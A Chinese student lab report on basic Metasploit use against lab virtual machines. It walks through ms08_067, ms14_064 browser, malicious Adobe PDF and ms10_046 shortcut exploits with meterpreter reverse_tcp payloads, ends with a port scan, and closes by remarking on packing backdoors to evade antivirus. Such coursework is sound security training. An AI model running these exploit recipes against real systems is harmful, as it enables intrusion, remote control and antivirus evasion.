2019-2020-2 网络对抗技术 20175324 Exp6 MSF基础应用

2019-2020-2 网络对抗技术 20175324 Exp6 MSF基础应用

一、原理与实践说明

1.实践原理

• 2.实践内容概述
• 3.基础问题回答

二、攻击过程记录

• 任务一：主动攻击的实践
  • ms08_067_netapi:自动化漏洞溢出攻击
• 任务二：攻击浏览器的实践
• ms07-017
  • ms11-050
• 任务三：攻击客户端的实践
  • Adobe
  • ms10_046
• 任务四：成功应用任何一个辅助模块
  • 在ms08_067中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口

三、实验遇到的问题及解决方法

四、实验总结与体会

一、原理与实践说明
1.实践目标

1.MSF攻击方法

• 主动攻击：扫描主机漏洞，进行攻击
• 攻击浏览器
• 攻击其他客户端

2.MSF的六个模块

• 渗透攻击模块Exploit Modules:攻击漏洞，把shellcode"背"过去

• 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息，它是攻击的前提

• 攻击载荷Payload Modules：载荷，一段指令（shellcode），目标系统在被渗透攻击之后去执行的代码

• 空字段模块Nop Modules

• 编码模块Encoders

• 后渗透攻击模块Post：攻击成功之后，动态传输代码使其在被控机执行

MSF的三种用户操作界面

• msfconsole
• 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
• 查看设置信息show [options]
• 查看攻击目标类型show [target]
• 查找命令search
• 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
• armitage
• 启动服务器service postgresql start
• 启动armitagearmitage
• webgui

4.MSF常用漏洞利用命令

search name：用指定关键字搜索可以利用的漏洞模块
use exploit name：使用漏洞
show options：显示配置选项
set option name option：设置选项
show payloads：回链攻击载荷
show targets: 显示目标（os版本）
set TARGET target number：设置目标版本
exploit：开始漏洞攻击
sessions -l：列出会话
sessions -i id：选择会话
sessions -k id：结束会话
Ctrl+z：把会话放到后台
Ctrl+c：结束会话
show auxiliary：显示辅助模块
use auxiliary name：使用辅助模块
set option name option：设置选项
exploit：运行模块

2.实践内容概述

掌握metasploit的基本应用方式:

• 一个主动攻击实践，如ms08_067; （1分）

• 一个针对浏览器的攻击，如ms11_050；（1分）

• 一个针对客户端的攻击，如Adobe；（1分）

• 成功应用任何一个辅助模块。（0.5分）

3.基础问题回答

用自己的话解释什么是exploit,payload,encode.

• exploit是攻击模块，就是是利用某些特定的漏洞，将攻击的具体执行步骤传到靶机上。

• payload是攻击载荷，即渗透成功后帮助攻击者接下来进一步控制靶机所需要的东西。

• encode是编码，用来改变payload，避免payload中出现漏洞无法处理的字符；其次是为了实现免杀，避免payload被杀软发现。

二、实践过程记录
任务一：主动攻击的实践

ms08_067_netapi:自动化漏洞溢出攻击

靶机：Windows Server 2003 Enterprise Edition with SP1 (English)

先测试主机与靶机间网络联通状况

启动msfconsole查找漏洞search ms08-067,可以看到该漏洞的渗透模块：

use exploit/windows/smb/ms08_067_netapi选择该漏洞
使用show targets查看targets,可以根据靶机的操作系统进行修改，也可以不修改，自动识别。

set RHOSTS 192.168.149.163设置靶机IP
show payloads查看可用payload

set payload generic/shell_bind_tcp set LHOST 192.168.149.129 #设置监听者ip set LPORT 5324 #设置监听者端口号 show options #查看设置信息

输入exploit进行攻击

任务二：攻击浏览器的实践

1.ms14-064
用search ms14-064查询一下针对该漏洞的攻击模块

use exploit/windows/browser/ms14_064_ole_code_execution使用该模块：
用set payload windows/meterpreter/reverse_tcp设置payload
show options查看信息，并设置需要设置的参数。

exploit攻击后会生成带有攻击性的URL，这里生成的URL为：http://192.168.149.129:8080/t9dPkWoo6VIDv
在winxp上用ie浏览器打开:

再回到kali 发现已经回连成功：

这样就攻击成功了

2.ms14_064
同样的方法，先在控制台输入search ms14_064搜索对于该漏洞的攻击模块
输入use exploit/windows/browser/ms14_064_ole_code_execution指令选择攻击模块

show payloads 显示可用攻击载荷

set payload windows/meterpreter/reverse_tcp选择攻击载荷
show options查看配置信息
进行配置修改：

set SRVHOST 192.168.149.129 //设置攻方IP s

et AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效

set LHOST 10.1.1.128 set LPORT 5318

使用exploit进行攻击，这时会生成一个链接，把这个链接复制到WindowsXP里打开

这时候kali这里已经显示连接成功了

输入sessions -i 1即可选择第一个会话，调用shell权限成功

任务三：攻击客户端的实践
1.Adobe

靶机：Windows XP

步骤：

• search adobe //查找Adobe漏洞
• use windows/fileformat/adobe_cooltype_sing //使用漏洞
• set payload windows/meterpreter/reverse_tcp //选择攻击载荷
• set LHOST 192.168.149.129 //攻击者地址
• set FILENAME 20175324.pdf //设置生成pdf文件的文件名
• exploit //攻击

将生成的文件复制之后导入靶机中，然后退出当前模块，进入监听模块：

• back //退出当前模块
• use exploit/multi/handler //进入监听模块
• set payload windows/meterpreter/reverse_tcp //选择攻击载荷
• set LHOST 192.168.149.129 //攻击者地址
• exploit //攻击

在靶机运行20175324.pdf

回到kali，发现已经成功了

2.ms10_046

靶机：Windows 7 + IE8

实验步骤：

• search ms10-046 #看看其他的exploit
• use exploit/windows/smb/ms10_046_shortcut_icon_dllloader #使用漏洞
• show payloads #显示可用攻击载荷
• set peyloads windows/meterpreter/reverse_tcp #选择攻击载荷
• show options #查看配置信息
• set LHOST 192.168.149.129 #设置监听地址
• set SRVHOST 192.168.149.129#设置本地收听地址
• set RHOSTS 192.168.149.163 #设置靶机地址

exploit #开始攻击


将/root/.msf4/local/msf.lnk共享到win7虚拟机中，然后双击，即可在kail监听到，输入sessions 1查看当前会话

任务四：成功应用任何一个辅助模块
在ms08_067中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口

• search portscan # 搜索端口相关的漏洞

• use auxiliary/scanner/portscan/tcp # 使用漏洞
• show options #显示设置

• 设置参数，并进行扫描：

三、实验遇到的问题及解决方法
在刚开始时，因为虚拟机版本错误，实验一直失败

在同学帮助下找到了Windows Server 2003 Enterprise Edition with SP1 (English)的镜像
从而解决了问题。

四、实验总结与体会
经过这次实验，我对msf的攻击又有了新的认识。每个系统版本的漏洞都不相同，在我们攻击前，应该先收集对方的信息，清楚它的操作系统。我们可以通过生成后门文件，来对目标进行攻击，而想把后门文件悄无声息的放到目标机里不被发现，我们就要对其进行加壳等操作。

这次实验生成的一些后门文件仍未逃过系统的检测，还需要进一步的学习。